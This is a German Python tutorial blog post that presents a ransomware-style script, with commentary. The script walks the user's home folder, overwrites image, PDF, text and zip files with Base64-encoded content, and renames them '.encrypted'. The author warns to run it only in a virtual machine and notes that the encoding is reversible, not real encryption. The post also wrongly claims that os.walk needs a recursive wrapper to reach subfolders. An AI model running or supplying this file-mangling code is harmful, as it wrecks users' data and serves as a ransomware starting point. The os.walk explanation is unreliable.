Python Tutorial - Cryptotrojaner

30.07.2018, 09:11 - Autor: Mark B.
Vor kurzem haben Cryptotrojaner das Internet und deren User in Angst und Schrecken versetzt. Der Plan hinter diesen Schädlingen war einfach - verschlüssel die wichtigen Dateien des Users und erpresse dann ein Lösegeld für den Entschlüsselungscode.

Und der Plan ging hunderttausendfach auf denn für viele Firmen war es deutlich billiger die paar hundert EUR oder USD Lösegeld zu zahlen als einige Tage Arbeit zu verlieren. Privatpersonen ohne aktuelle Datensicherung mussten sich auch entscheiden ob ihnen ihre Daten das Lösegeld wert war oder nicht...

Einige dieser Crypto-Trojaner konnten natürlich geknackt werden und Sicherheitsexperten haben Entschlüsselungs-Tools bereitgestellt. Etwas zu warten bevor man das Lösegeld zahlt konnte sich also auszahlen.

Aber sehen wir uns doch einfach an wie so ein Tool arbeitet:

#!/usr/bin/python3
import os, base64

home = os.path.expanduser("~")
exts = (".jpg", ".pdf", ".png", ".txt", ".zip")

for root, dirs, files in os.walk(home):
    for file in files:
        for ext in exts:
            if file.lower().endswith(ext):
                path = os.path.join(root, file)
                with open(path, "rb") as f:
                    enc = base64.b64encode(f.read())

                with open(path, "wb") as f:
                    f.write(enc)

                os.rename(path, path + ".encrypted")

Bevor Sie das Programm starten ein Wort der Warnung - es ist keine gute Idee so ein Tool auf dem eigenen Rechner zu testen! Wenn Ihnen Ihre Daten lieb sind benutzen Sie einen virtuellen PC! Ich übernehme ausdrücklich keine Haftung dafür wenn Sie mit diesem Script Ihre ganzen Daten "durch den Fleischwolf drehen". Außerdem habe ich hier keine wirkliche Verschlüsselung eingesetzt sondern die Daten einfach Base64 encodiert wie es auch bei einem Email-Anhang gemacht wird.

Ein richtiger Sicherheitsexperte wird so nur wenige Minuten brauchen um zu verstehen was da passiert und einen Decoder zu schreiben. Dennoch reicht das aus um einen Normalen User zum Verzweiflung zu treiben denn keine seiner Dateien wird sich öffnen lassen!

Zuerst kommt die altbekannte import-Anweisung zum laden der Module und danach ermitteln wir mit os.path.expanduser("~") den Pfad zum Benutzer-Ordner und speichern diesen in home ab.

In der Variable exts legen wir eine Tupel der Dateierweiterungen ab, die die Dateitypen kennzeichnen die "verschlüsselt" werden sollen.

Danach erhalten wir mit os.walk(home) folgende drei Listen: In wird root der Ordner-Pfad zugewiesen und files enthält eine Liste der Dateien. Analog dazu enthält dirs eine Liste der Unterordner.

Wer vorhat alle Unterordner zu durchlaufen kann diese for-Schleife in eine rekursiv aufgerufene Funktion packen.

Danach durchlaufen wir alle Dateien mit for file in files und für jede Datei durchlaufen wir die Liste der Dateierweiterungen (for ext in exts) um dann mit if file.lower().endswith(ext) zu prüfen ob die Dateierweiterung übereinstimmt. Hierbei sorgt das lower() dafür, dass auch eine Dateierweiterung wie .JPG erkannt wird da dadurch der Dateiname in kleinbuchstaben umgewandelt wird bevor wir den Vergleich durchführen.

path = os.path.join(root, file) fügt den Basis-Ordner der Datei und den Dateinamen zu einem Pfad zusammen. Dies sollte so gemacht werden da Pfade unter Linux / OSX / Unix anders aufgebaut sind als unter Windows. Genau dessen trägt join() Rechnung und baut den Pfad dem Betriebssystem entsprechend zusammen. Damit ist der gleiche Code unter jedem Betriebssystem lauffähig.

Dann wird die Datei mit with open(path, "rb") as f zum Lesen im Binär-Modus geöffnet und mit enc = base64.b64encode(f.read()) ein Base64 encodierter String des Dateiinhaltes in enc abgelegt.

Dann wird die Datei wieder zum Schreiben geöffnet und der Inhalt mit f.write(enc) durch den zuvor erstellten Base64-String erstellt. Zu guter Letzt benennen wir die Date auch noch um und hängen an den Dateinamen ein .encrypted an um die Dateien nicht doppelt zu verschlüsseln falls das Programm erneut aufgerufen wird!